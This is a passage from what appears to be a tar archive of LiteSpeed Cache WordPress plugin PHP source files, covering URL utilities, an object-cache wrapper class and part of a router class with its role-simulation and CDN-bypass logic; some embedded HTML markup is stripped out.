$parsed['scheme'] ) ) { return $parsed['scheme'] . '://' . $parsed['host']; } return '//' . $parsed['host']; } /** * Drop protocol from URL (e.g., https://example.com -> //example.com). * * @since 3.3 * * @param string $url URL. * @return string Protocol-relative URL. */ public static function noprotocol( $url ) { $tmp = wp_parse_url( trim( $url ) ); if ( ! empty( $tmp['scheme'] ) ) { $url = str_replace( $tmp['scheme'] . ':', '', $url ); } return $url; } /** * Validate IPv4 public address. * * @since 5.5 * * @param string $ip IP address. * @return string|false IP or false when invalid. */ public static function valid_ipv4( $ip ) { return filter_var( $ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE ); } /** * Define LSCWP_DOMAIN using the home URL (no trailing slash). * * @since 1.3 * @return void */ public static function domain_const() { if ( defined( 'LSCWP_DOMAIN' ) ) { return; } self::compatibility(); $domain = http_build_url( get_home_url(), [], HTTP_URL_STRIP_ALL ); // phpcs:ignore WordPress.WP.AlternativeFunctions.parse_url_parse_url define( 'LSCWP_DOMAIN', $domain ); } /** * Sanitize lines based on requested transforms. * * @since 1.3 * * @param array|string $arr Lines as array or newline-separated string. * @param string|null $type Comma-separated transforms: uri,basename,drop_webp,relative,domain,noprotocol,trailingslash,string. * @return array|string Sanitized list or string. */ public static function sanitize_lines( $arr, $type = null ) { $types = $type ? explode( ',', $type ) : []; if ( ! $arr ) { if ( 'string' === $type ) { return ''; } return []; } if ( ! is_array( $arr ) ) { $arr = explode( "\n", $arr ); } $arr = array_map( 'trim', $arr ); $changed = false; if ( in_array( 'uri', $types, true ) ) { $arr = array_map( __CLASS__ . '::url2uri', $arr ); $changed = true; } if ( in_array( 'basename', $types, true ) ) { $arr = array_map( __CLASS__ . '::basename', $arr ); $changed = true; } if ( in_array( 'drop_webp', $types, true ) ) { $arr = array_map( __CLASS__ . '::drop_webp', $arr ); $changed = true; } if ( in_array( 'relative', $types, true ) ) { $arr = array_map( __CLASS__ . '::make_relative', $arr ); $changed = true; } if ( in_array( 'domain', $types, true ) ) { $arr = array_map( __CLASS__ . '::parse_domain', $arr ); $changed = true; } if ( in_array( 'noprotocol', $types, true ) ) { $arr = array_map( __CLASS__ . '::noprotocol', $arr ); $changed = true; } if ( in_array( 'trailingslash', $types, true ) ) { $arr = array_map( 'trailingslashit', $arr ); $changed = true; } if ( $changed ) { $arr = array_map( 'trim', $arr ); } $arr = array_unique( $arr ); $arr = array_filter( $arr ); if ( in_array( 'string', $types, true ) ) { return implode( "\n", $arr ); } return $arr; } /** * Build an admin URL with action & nonce. * * Assumes user capabilities are already checked. * * @since 1.6 Changed order of 2nd&3rd param, changed 3rd param `append_str` to 2nd `type` * * @param string $action Action name. * @param string|false $type Optional type query value. * @param bool $is_ajax Whether to build for admin-ajax.php. * @param string|null|bool $page Page filename or true for admin.php. * @param array $append_arr Extra query parameters. * @param bool $unescape Return unescaped URL. * @return string Built URL. */ public static function build_url( $action, $type = false, $is_ajax = false, $page = null, $append_arr = [], $unescape = false ) { $prefix = '?'; if ( '_ori' === $page ) { $page = true; $append_arr['_litespeed_ori'] = 1; } if ( ! $is_ajax ) { if ( $page ) { if ( true === $page ) { $page = 'admin.php'; } elseif ( false !== strpos( $page, '?' ) ) { $prefix = '&'; } $combined = $page . $prefix . Router::ACTION . '=' . $action; } else { // Current page rebuild URL. $params = $_GET; // phpcs:ignore WordPress.Security.NonceVerification.Recommended if ( ! empty( $params ) ) { if ( isset( $params[ Router::ACTION ] ) ) { unset( $params[ Router::ACTION ] ); } if ( isset( $params['_wpnonce'] ) ) { unset( $params['_wpnonce'] ); } if ( ! empty( $params ) ) { $prefix .= http_build_query( $params ) . '&'; } } global $pagenow; $combined = $pagenow . $prefix . Router::ACTION . '=' . $action; } } else { $combined = 'admin-ajax.php?action=litespeed_ajax&' . Router::ACTION . '=' . $action; } $prenonce = is_network_admin() ? network_admin_url( $combined ) : admin_url( $combined ); $url = wp_nonce_url( $prenonce, $action, Router::NONCE ); if ( $type ) { // Remove potential param `type` from url. $parsed = wp_parse_url( htmlspecialchars_decode( $url ) ); $query = []; if ( isset( $parsed['query'] ) ) { parse_str( $parsed['query'], $query ); } $built_arr = array_merge( $query, [ Router::TYPE => $type ] ); $parsed['query'] = http_build_query( array_merge( $built_arr, (array) $append_arr ) ); self::compatibility(); $url = http_build_url( $parsed ); // phpcs:ignore WordPress.WP.AlternativeFunctions.parse_url_parse_url $url = htmlspecialchars( $url, ENT_QUOTES, 'UTF-8' ); } if ( $unescape ) { $url = wp_specialchars_decode( $url ); } return $url; } /** * Check if a host is internal (same as site host or filtered list). * * @since 1.2.3 * * @param string $host Host to test. * @return bool True if internal. */ public static function internal( $host ) { if ( ! defined( 'LITESPEED_FRONTEND_HOST' ) ) { if ( defined( 'WP_HOME' ) ) { $home_host = constant( 'WP_HOME' ); } else { $home_host = get_option( 'home' ); } define( 'LITESPEED_FRONTEND_HOST', (string) wp_parse_url( $home_host, PHP_URL_HOST ) ); } if ( LITESPEED_FRONTEND_HOST === $host ) { return true; } if ( ! isset( self::$_internal_domains ) ) { self::$_internal_domains = apply_filters( 'litespeed_internal_domains', [] ); } if ( self::$_internal_domains ) { return in_array( $host, self::$_internal_domains, true ); } return false; } /** * Check if a URL is an internal existing file and return its real path and size. * * @since 1.2.2 * @since 1.6.2 Moved here from optm.cls due to usage of media.cls * * @param string $url URL. * @param string|false $addition_postfix Optional postfix to append to path before checking. * @return array{0:string,1:int}|false [realpath, size] or false. */ public static function is_internal_file( $url, $addition_postfix = false ) { if ( 'data:' === substr( $url, 0, 5 ) ) { Debug2::debug2( '[Util] data: content not file' ); return false; } $url_parsed = wp_parse_url( $url ); if ( isset( $url_parsed['host'] ) && ! self::internal( $url_parsed['host'] ) ) { // Check if is cdn path. if ( ! CDN::internal( $url_parsed['host'] ) ) { Debug2::debug2( '[Util] external' ); return false; } } if ( empty( $url_parsed['path'] ) ) { return false; } // Replace child blog path for assets (multisite). if ( is_multisite() && defined( 'PATH_CURRENT_SITE' ) ) { $pattern = '#^' . PATH_CURRENT_SITE . '([_0-9a-zA-Z-]+/)(wp-(content|admin|includes))#U'; $replacement = PATH_CURRENT_SITE . '$2'; $url_parsed['path'] = preg_replace( $pattern, $replacement, $url_parsed['path'] ); } // Parse file path. if ( '/' === substr( $url_parsed['path'], 0, 1 ) ) { $docroot = isset( $_SERVER['DOCUMENT_ROOT'] ) ? sanitize_text_field( wp_unslash( $_SERVER['DOCUMENT_ROOT'] ) ) : ''; if ( defined( 'LITESPEED_WP_REALPATH' ) ) { $file_path_ori = $docroot . constant( 'LITESPEED_WP_REALPATH' ) . $url_parsed['path']; } else { $file_path_ori = $docroot . $url_parsed['path']; } } else { $file_path_ori = Router::frontend_path() . '/' . $url_parsed['path']; } // Optional postfix. if ( $addition_postfix ) { $file_path_ori .= '.' . $addition_postfix; } $file_path_ori = apply_filters( 'litespeed_realpath', $file_path_ori ); $file_path = realpath( $file_path_ori ); if ( ! is_file( $file_path ) ) { Debug2::debug2( '[Util] file not exist: ' . $file_path_ori ); return false; } return [ $file_path, (int) filesize( $file_path ) ]; } /** * Safely parse URL and component. * * @since 3.4.3 * * @param string $url URL to parse. * @param int $component One of the PHP_URL_* constants. * @return mixed */ public static function parse_url_safe( $url, $component = -1 ) { if ( '//' === substr( $url, 0, 2 ) ) { $url = 'https:' . $url; } return wp_parse_url( $url, $component ); } /** * Replace URLs in a srcset attribute using a callback. * * @since 2.2.3 * * @param string $content HTML content containing srcset. * @param callable $callback Callback that receives old URL and returns new URL or false. * @return string Modified content. */ public static function srcset_replace( $content, $callback ) { preg_match_all( '# srcset=([\'"])(.+)\g{1}#iU', $content, $matches ); $srcset_ori = []; $srcset_final = []; if ( ! empty( $matches[2] ) ) { foreach ( $matches[2] as $k => $urls_ori ) { $urls_final = explode( ',', $urls_ori ); $changed = false; foreach ( $urls_final as $k2 => $url_info ) { $url_info_arr = explode( ' ', trim( $url_info ) ); $new_url = call_user_func( $callback, $url_info_arr[0] ); if ( ! $new_url ) { continue; } $changed = true; $urls_final[ $k2 ] = str_replace( $url_info_arr[0], $new_url, $url_info ); Debug2::debug2( '[Util] - srcset replaced to ' . $new_url . ( ! empty( $url_info_arr[1] ) ? ' ' . $url_info_arr[1] : '' ) ); } if ( ! $changed ) { continue; } $urls_final = implode( ',', $urls_final ); $srcset_ori[] = $matches[0][ $k ]; $srcset_final[] = str_replace( $urls_ori, $urls_final, $matches[0][ $k ] ); } } if ( $srcset_ori ) { $content = str_replace( $srcset_ori, $srcset_final, $content ); Debug2::debug2( '[Util] - srcset replaced' ); } return $content; } /** * Generate pagination HTML or return offset. * * @since 3.0 * * @param int $total Total items. * @param int $limit Items per page. * @param bool $return_offset When true, return numeric offset instead of HTML. * @return int|string */ public static function pagination( $total, $limit, $return_offset = false ) { $pagenum = isset( $_GET['pagenum'] ) ? absint( $_GET['pagenum'] ) : 1; // phpcs:ignore WordPress.Security.NonceVerification.Recommended $offset = ( $pagenum - 1 ) * $limit; $num_of_pages = (int) ceil( $total / $limit ); if ( $offset > $total ) { $offset = $total - $limit; } if ( $offset < 0 ) { $offset = 0; } if ( $return_offset ) { return $offset; } $page_links = paginate_links( [ 'base' => add_query_arg( 'pagenum', '%#%' ), 'format' => '', 'prev_text' => '«', 'next_text' => '»', 'total' => $num_of_pages, 'current' => $pagenum, ] ); return '
      ' . $page_links . '
      '; } /** * Build a GROUP placeholder like "(%s,%s),(%s,%s)" for a list of rows. * * @since 2.0 * * @param array> $data Data rows (values already prepared). * @param string $fields Fields CSV (only used to count columns). * @return string Placeholder string. */ public static function chunk_placeholder( $data, $fields ) { $division = substr_count( $fields, ',' ) + 1; $q = implode( ',', array_map( function ( $el ) { return '(' . implode( ',', $el ) . ')'; }, array_chunk( array_fill( 0, count( $data ), '%s' ), $division ) ) ); return $q; } /** * Prepare image sizes list for optimization UI. * * @since 7.5 * * @param bool $detailed When true, return detailed objects; otherwise size names. * @return array> */ public static function prepare_image_sizes_array( $detailed = false ) { $image_sizes = wp_get_registered_image_subsizes(); $sizes = []; foreach ( $image_sizes as $current_size_name => $current_size ) { if ( empty( $current_size['width'] ) && empty( $current_size['height'] ) ) { continue; } if ( ! $detailed ) { $sizes[] = $current_size_name; } else { $label = $current_size['width'] . 'x' . $current_size['height']; if ( $current_size_name !== $label ) { $label = ucfirst( $current_size_name ) . ' ( ' . $label . ' )'; } $sizes[] = [ 'label' => $label, 'file_size' => $current_size_name, 'width' => (int) $current_size['width'], 'height' => (int) $current_size['height'], ]; } } return $sizes; } } object-cache-wp.cls.php000064400000045504152077520260011006 0ustar00_object_cache = \LiteSpeed\Object_Cache::cls(); $this->multisite = is_multisite(); $this->blog_prefix = $this->multisite ? get_current_blog_id() . ':' : ''; /** * Fix multiple instance using same oc issue * * @since 1.8.2 */ if ( ! defined( 'LSOC_PREFIX' ) ) { define( 'LSOC_PREFIX', substr( md5( __FILE__ ), -5 ) ); } } /** * Makes private properties readable for backward compatibility. * * @since 5.4 * @access public * * @param string $name Property to get. * @return mixed Property. */ public function __get( $name ) { return $this->$name; } /** * Makes private properties settable for backward compatibility. * * @since 5.4 * @access public * * @param string $name Property to set. * @param mixed $value Property value. * @return mixed Newly-set property. */ public function __set( $name, $value ) { $this->$name = $value; return $this->$name; } /** * Makes private properties checkable for backward compatibility. * * @since 5.4 * @access public * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { return isset( $this->$name ); } /** * Makes private properties un-settable for backward compatibility. * * @since 5.4 * @access public * * @param string $name Property to unset. */ public function __unset( $name ) { unset( $this->$name ); } /** * Serves as a utility function to determine whether a key is valid. * * @since 5.4 * @access protected * * @param int|string $key Cache key to check for validity. * @return bool Whether the key is valid. */ protected function is_valid_key( $key ) { if ( is_int( $key ) ) { return true; } if ( is_string( $key ) && '' !== trim( $key ) ) { return true; } $type = gettype( $key ); if ( ! function_exists( '__' ) ) { wp_load_translations_early(); } $message = is_string( $key ) ? __( 'Cache key must not be an empty string.' ) : sprintf( /* translators: %s: The type of the given cache key. */ __( 'Cache key must be integer or non-empty string, %s given.' ), $type ); _doing_it_wrong( esc_html( __METHOD__ ), esc_html( $message ), '6.1.0' ); return false; } /** * Get the final key. * * Generates a unique cache key based on group and prefix. * * @since 1.8 * @access private * @param int|string $key Cache key. * @param string $group Optional. Cache group. Default 'default'. * @return string The final cache key. */ private function _key( $key, $group = 'default' ) { if ( empty( $group ) ) { $group = 'default'; } $prefix = $this->_object_cache->is_global( $group ) ? '' : $this->blog_prefix; return LSOC_PREFIX . $prefix . $group . '.' . $key; } /** * Output debug info. * * Returns cache statistics for debugging purposes. * * @since 1.8 * @access public * @return string Cache statistics. */ public function debug() { return ' [total] ' . $this->cache_total . ' [hit_incall] ' . $this->count_hit_incall . ' [hit] ' . $this->count_hit . ' [miss_incall] ' . $this->count_miss_incall . ' [miss] ' . $this->count_miss . ' [set] ' . $this->count_set; } /** * Adds data to the cache if it doesn't already exist. * * @since 1.8 * @access public * @see WP_Object_Cache::set() * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True on success, false if cache key and group already exist. */ public function add( $key, $data, $group = 'default', $expire = 0 ) { if ( wp_suspend_cache_addition() ) { return false; } if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $this->_key( $key, $group ); if ( array_key_exists( $id, $this->_cache ) ) { return false; } return $this->set( $key, $data, $group, (int) $expire ); } /** * Adds multiple values to the cache in one call. * * @since 5.4 * @access public * * @param array $data Array of keys and values to be added. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if cache key and group already exist. */ public function add_multiple( array $data, $group = '', $expire = 0 ) { $values = []; foreach ( $data as $key => $value ) { $values[ $key ] = $this->add( $key, $value, $group, $expire ); } return $values; } /** * Replaces the contents in the cache, if contents already exist. * * @since 1.8 * @access public * @see WP_Object_Cache::set() * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True if contents were replaced, false if original value does not exist. */ public function replace( $key, $data, $group = 'default', $expire = 0 ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $this->_key( $key, $group ); if ( ! array_key_exists( $id, $this->_cache ) ) { return false; } return $this->set( $key, $data, $group, (int) $expire ); } /** * Sets the data contents into the cache. * * The cache contents are grouped by the $group parameter followed by the * $key. This allows for duplicate IDs in unique groups. Therefore, naming of * the group should be used with care and should follow normal function * naming guidelines outside of core WordPress usage. * * The $expire parameter is not used, because the cache will automatically * expire for each time a page is accessed and PHP finishes. The method is * more for cache plugins which use files. * * @since 1.8 * @since 5.4 Returns false if cache key is invalid. * @access public * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True if contents were set, false if key is invalid. */ public function set( $key, $data, $group = 'default', $expire = 0 ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $this->_key( $key, $group ); if ( is_object( $data ) ) { $data = clone $data; } $this->_cache[ $id ] = $data; if ( array_key_exists( $id, $this->_cache_404 ) ) { unset( $this->_cache_404[ $id ] ); } if ( ! $this->_object_cache->is_non_persistent( $group ) ) { // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.serialize_serialize $this->_object_cache->set( $id, serialize( [ 'data' => $data ] ), (int) $expire ); ++$this->count_set; } return true; } /** * Sets multiple values to the cache in one call. * * @since 5.4 * @access public * * @param array $data Array of key and value to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is always true. */ public function set_multiple( array $data, $group = '', $expire = 0 ) { $values = []; foreach ( $data as $key => $value ) { $values[ $key ] = $this->set( $key, $value, $group, $expire ); } return $values; } /** * Retrieves the cache contents, if it exists. * * The contents will be first attempted to be retrieved by searching by the * key in the cache group. If the cache is hit (success) then the contents * are returned. * * On failure, the number of cache misses will be incremented. * * @since 1.8 * @access public * * @param int|string $key The key under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $force Optional. Unused. Whether to force an update of the local cache * from the persistent cache. Default false. * @param bool $found Optional. Whether the key was found in the cache (passed by reference). * Disambiguates a return of false, a storable value. Default null. * @return mixed|false The cache contents on success, false on failure to retrieve contents. */ public function get( $key, $group = 'default', $force = false, &$found = null ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $this->_key( $key, $group ); $found = false; $found_in_oc = false; $cache_val = false; if ( array_key_exists( $id, $this->_cache ) && ! $force ) { $found = true; $cache_val = $this->_cache[ $id ]; ++$this->count_hit_incall; } elseif ( ! array_key_exists( $id, $this->_cache_404 ) && ! $this->_object_cache->is_non_persistent( $group ) ) { $v = $this->_object_cache->get( $id, $group ); if ( false !== $v ) { $v = maybe_unserialize( $v ); } // To be compatible with false val. if ( is_array( $v ) && array_key_exists( 'data', $v ) ) { ++$this->count_hit; $found = true; $found_in_oc = true; $cache_val = $v['data']; } else { // Can't find key, cache it to 404. $this->_cache_404[ $id ] = 1; ++$this->count_miss; } } else { ++$this->count_miss_incall; } if ( is_object( $cache_val ) ) { $cache_val = clone $cache_val; } if ( $found_in_oc ) { $this->_cache[ $id ] = $cache_val; } ++$this->cache_total; return $cache_val; } /** * Retrieves multiple values from the cache in one call. * * @since 5.4 * @access public * * @param array $keys Array of keys under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array Array of return values, grouped by key. Each value is either * the cache contents on success, or false on failure. */ public function get_multiple( $keys, $group = 'default', $force = false ) { $values = []; foreach ( $keys as $key ) { $values[ $key ] = $this->get( $key, $group, $force ); } return $values; } /** * Removes the contents of the cache key in the group. * * If the cache key does not exist in the group, then nothing will happen. * * @since 1.8 * @access public * * @param int|string $key What the contents in the cache are called. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @return bool True on success, false if the contents were not deleted. */ public function delete( $key, $group = 'default' ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $this->_key( $key, $group ); if ( array_key_exists( $id, $this->_cache ) ) { unset( $this->_cache[ $id ] ); } if ( $this->_object_cache->is_non_persistent( $group ) ) { return false; } return $this->_object_cache->delete( $id ); } /** * Deletes multiple values from the cache in one call. * * @since 5.4 * @access public * * @param array $keys Array of keys to be deleted. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if the contents were not deleted. */ public function delete_multiple( array $keys, $group = '' ) { $values = []; foreach ( $keys as $key ) { $values[ $key ] = $this->delete( $key, $group ); } return $values; } /** * Increments numeric cache item's value. * * @since 5.4 * @access public * * @param int|string $key The cache key to increment. * @param int $offset Optional. The amount by which to increment the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default 'default'. * @return int|false The item's new value on success, false on failure. */ public function incr( $key, $offset = 1, $group = 'default' ) { return $this->incr_desr( $key, $offset, $group, true ); } /** * Decrements numeric cache item's value. * * @since 5.4 * @access public * * @param int|string $key The cache key to decrement. * @param int $offset Optional. The amount by which to decrement the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default 'default'. * @return int|false The item's new value on success, false on failure. */ public function decr( $key, $offset = 1, $group = 'default' ) { return $this->incr_desr( $key, $offset, $group, false ); } /** * Increments or decrements numeric cache item's value. * * @since 1.8 * @access public * * @param int|string $key The cache key to increment or decrement. * @param int $offset The amount by which to adjust the item's value. * @param string $group Optional. The group the key is in. Default 'default'. * @param bool $incr True to increment, false to decrement. * @return int|false The item's new value on success, false on failure. */ public function incr_desr( $key, $offset = 1, $group = 'default', $incr = true ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $cache_val = $this->get( $key, $group ); if ( false === $cache_val ) { return false; } if ( ! is_numeric( $cache_val ) ) { $cache_val = 0; } $offset = (int) $offset; if ( $incr ) { $cache_val += $offset; } else { $cache_val -= $offset; } if ( $cache_val < 0 ) { $cache_val = 0; } $this->set( $key, $cache_val, $group ); return $cache_val; } /** * Clears the object cache of all data. * * @since 1.8 * @access public * * @return true Always returns true. */ public function flush() { $this->flush_runtime(); $this->_object_cache->flush(); return true; } /** * Removes all cache items from the in-memory runtime cache. * * @since 5.4 * @access public * * @return true Always returns true. */ public function flush_runtime() { $this->_cache = []; $this->_cache_404 = []; return true; } /** * Removes all cache items in a group. * * @since 5.4 * @access public * * @return true Always returns true. */ public function flush_group() { return true; } /** * Sets the list of global cache groups. * * @since 1.8 * @access public * * @param string|string[] $groups List of groups that are global. */ public function add_global_groups( $groups ) { $groups = (array) $groups; $this->_object_cache->add_global_groups( $groups ); } /** * Sets the list of non-persistent cache groups. * * @since 1.8 * @access public * * @param string|string[] $groups A group or an array of groups to add. */ public function add_non_persistent_groups( $groups ) { $groups = (array) $groups; $this->_object_cache->add_non_persistent_groups( $groups ); } /** * Switches the internal blog ID. * * This changes the blog ID used to create keys in blog specific groups. * * @since 1.8 * @access public * * @param int $blog_id Blog ID. */ public function switch_to_blog( $blog_id ) { $blog_id = (int) $blog_id; $this->blog_prefix = $this->multisite ? $blog_id . ':' : ''; } /** * Get the current instance object. * * @since 1.8 * @access public * * @return WP_Object_Cache The current instance. */ public static function get_instance() { if ( ! isset( self::$_instance ) ) { self::$_instance = new self(); } return self::$_instance; } } router.cls.php000064400000051410152077520260007364 0ustar00 $i )); $url = html_entity_decode($link); exit(""); } /** * Check if can run optimize * * @since 1.3 * @since 2.3.1 Relocated from cdn.cls * @access public */ public function can_optm() { $can = true; if (is_user_logged_in() && $this->conf(self::O_OPTM_GUEST_ONLY)) { $can = false; } elseif (is_admin()) { $can = false; } elseif (is_feed()) { $can = false; } elseif (is_preview()) { $can = false; } elseif (self::is_ajax()) { $can = false; } if (self::_is_login_page()) { Debug2::debug('[Router] Optm bypassed: login/reg page'); $can = false; } $can_final = apply_filters('litespeed_can_optm', $can); if ($can_final != $can) { Debug2::debug('[Router] Optm bypassed: filter'); } return $can_final; } /** * Check referer page to see if its from admin * * @since 2.4.2.1 * @access public */ public static function from_admin() { return !empty($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], get_admin_url()) === 0; } /** * Check if it can use CDN replacement * * @since 1.2.3 * @since 2.3.1 Relocated from cdn.cls * @access public */ public static function can_cdn() { $can = true; if (is_admin()) { if (!self::is_ajax()) { Debug2::debug2('[Router] CDN bypassed: is not ajax call'); $can = false; } if (self::from_admin()) { Debug2::debug2('[Router] CDN bypassed: ajax call from admin'); $can = false; } } elseif (is_feed()) { $can = false; } elseif (is_preview()) { $can = false; } /** * Bypass cron to avoid deregister jq notice `Do not deregister the jquery-core script in the administration area.` * * @since 2.7.2 */ if (wp_doing_cron()) { $can = false; } /** * Bypass login/reg page * * @since 1.6 */ if (self::_is_login_page()) { Debug2::debug('[Router] CDN bypassed: login/reg page'); $can = false; } /** * Bypass post/page link setting * * @since 2.9.8.5 */ $rest_prefix = function_exists('rest_get_url_prefix') ? rest_get_url_prefix() : apply_filters('rest_url_prefix', 'wp-json'); if ( !empty($_SERVER['REQUEST_URI']) && strpos($_SERVER['REQUEST_URI'], $rest_prefix . '/wp/v2/media') !== false && isset($_SERVER['HTTP_REFERER']) && strpos($_SERVER['HTTP_REFERER'], 'wp-admin') !== false ) { Debug2::debug('[Router] CDN bypassed: wp-json on admin page'); $can = false; } $can_final = apply_filters('litespeed_can_cdn', $can); if ($can_final != $can) { Debug2::debug('[Router] CDN bypassed: filter'); } return $can_final; } /** * Check if is login page or not * * @since 2.3.1 * @access protected */ protected static function _is_login_page() { if (in_array($GLOBALS['pagenow'], array( 'wp-login.php', 'wp-register.php' ), true)) { return true; } return false; } /** * UCSS/Crawler role simulator * * @since 1.9.1 * @since 3.3 Renamed from `is_crawler_role_simulation` */ public function is_role_simulation() { if (is_admin()) { return; } if (empty($_COOKIE['litespeed_hash']) && empty($_COOKIE['litespeed_flash_hash'])) { return; } self::debug('🪪 starting role validation'); // Check if is from crawler // if ( empty( $_SERVER[ 'HTTP_USER_AGENT' ] ) || strpos( $_SERVER[ 'HTTP_USER_AGENT' ], Crawler::FAST_USER_AGENT ) !== 0 ) { // Debug2::debug( '[Router] user agent not match' ); // return; // } $server_ip = $this->conf(self::O_SERVER_IP); if (!$server_ip || self::get_ip() !== $server_ip) { self::debug('❌❌ Role simulate uid denied! Not localhost visit!'); Control::set_nocache('Role simulate uid denied'); return; } // Flash hash validation if (!empty($_COOKIE['litespeed_flash_hash'])) { $hash_data = self::get_option(self::ITEM_FLASH_HASH, array()); if ($hash_data && is_array($hash_data) && !empty($hash_data['hash']) && !empty($hash_data['ts']) && !empty($hash_data['uid'])) { if (time() - $hash_data['ts'] < 120 && $_COOKIE['litespeed_flash_hash'] == $hash_data['hash']) { self::debug('🪪 Role simulator flash hash matched, escalating user to be uid=' . $hash_data['uid']); self::delete_option(self::ITEM_FLASH_HASH); wp_set_current_user($hash_data['uid']); return; } } } // Hash validation if (!empty($_COOKIE['litespeed_hash'])) { $hash_data = self::get_option(self::ITEM_HASH, array()); if ($hash_data && is_array($hash_data) && !empty($hash_data['hash']) && !empty($hash_data['ts']) && !empty($hash_data['uid'])) { $RUN_DURATION = $this->cls('Crawler')->get_crawler_duration(); if (time() - $hash_data['ts'] < $RUN_DURATION && $_COOKIE['litespeed_hash'] == $hash_data['hash']) { self::debug('🪪 Role simulator hash matched, escalating user to be uid=' . $hash_data['uid']); wp_set_current_user($hash_data['uid']); return; } } } self::debug('❌ WARNING: role simulator hash not match'); } /** * Get a short ttl hash (2mins) * * @since 6.4 */ public function get_flash_hash( $uid ) { $hash_data = self::get_option(self::ITEM_FLASH_HASH, array()); if ($hash_data && is_array($hash_data) && !empty($hash_data['hash']) && !empty($hash_data['ts'])) { if (time() - $hash_data['ts'] < 60) { return $hash_data['hash']; } } // Check if this user has editor access or not if (user_can($uid, 'edit_posts')) { self::debug('🛑 The user with id ' . $uid . ' has editor access, which is not allowed for the role simulator.'); return ''; } $hash = Str::rrand(32); self::update_option(self::ITEM_FLASH_HASH, array( 'hash' => $hash, 'ts' => time(), 'uid' => $uid, )); return $hash; } /** * Get a security hash * * @since 3.3 */ public function get_hash( $uid ) { // Check if this user has editor access or not if (user_can($uid, 'edit_posts')) { self::debug('🛑 The user with id ' . $uid . ' has editor access, which is not allowed for the role simulator.'); return ''; } // As this is called only when starting crawling, not per page, no need to reuse $hash = Str::rrand(32); self::update_option(self::ITEM_HASH, array( 'hash' => $hash, 'ts' => time(), 'uid' => $uid, )); return $hash; } /** * Get user role * * @since 1.6.2 */ public static function get_role( $uid = null ) { if (defined('LITESPEED_WP_ROLE')) { return LITESPEED_WP_ROLE; } if ($uid === null) { $uid = get_current_user_id(); } $role = false; if ($uid) { $user = get_userdata($uid); if (isset($user->roles) && is_array($user->roles)) { $tmp = array_values($user->roles); $role = implode(',', $tmp); // Combine for PHP5.3 const compatibility } } Debug2::debug('[Router] get_role: ' . $role); if (!$role) { return $role; // Guest user Debug2::debug('[Router] role: guest'); /** * Fix double login issue * The previous user init refactoring didn't fix this bcos this is in login process and the user role could change * * @see https://github.com/litespeedtech/lscache_wp/commit/69e7bc71d0de5cd58961bae953380b581abdc088 * @since 2.9.8 Won't assign const if in login process */ if (substr_compare(wp_login_url(), $GLOBALS['pagenow'], -strlen($GLOBALS['pagenow'])) === 0) { return $role; } } define('LITESPEED_WP_ROLE', $role); return LITESPEED_WP_ROLE; } /** * Get frontend path * * @since 1.2.2 * @access public * @return boolean */ public static function frontend_path() { // todo: move to htaccess.cls ? if (!isset(self::$_frontend_path)) { $frontend = rtrim(ABSPATH, '/'); // /home/user/public_html/frontend // get home path failed. Trac ticket #37668 (e.g. frontend:/blog backend:/wordpress) if (!$frontend) { Debug2::debug('[Router] No ABSPATH, generating from home option'); $frontend = parse_url(get_option('home')); $frontend = !empty($frontend['path']) ? $frontend['path'] : ''; $frontend = $_SERVER['DOCUMENT_ROOT'] . $frontend; } $frontend = realpath($frontend); self::$_frontend_path = $frontend; } return self::$_frontend_path; } /** * Check if ESI is enabled or not * * @since 1.2.0 * @access public * @return boolean */ public function esi_enabled() { if (!isset(self::$_esi_enabled)) { self::$_esi_enabled = defined('LITESPEED_ON') && $this->conf(self::O_ESI); if (!empty($_REQUEST[self::ACTION])) { self::$_esi_enabled = false; } } return self::$_esi_enabled; } /** * Check if crawler is enabled on server level * * @since 1.1.1 * @access public */ public static function can_crawl() { if (isset($_SERVER['X-LSCACHE']) && strpos($_SERVER['X-LSCACHE'], 'crawler') === false) { return false; } // CLI will bypass this check as crawler library can always do the 428 check if (defined('LITESPEED_CLI')) { return true; } return true; } /** * Check action * * @since 1.1.0 * @access public * @return string */ public static function get_action() { if (!isset(self::$_action)) { self::$_action = false; self::cls()->verify_action(); if (self::$_action) { defined('LSCWP_LOG') && Debug2::debug('[Router] LSCWP_CTRL verified: ' . var_export(self::$_action, true)); } } return 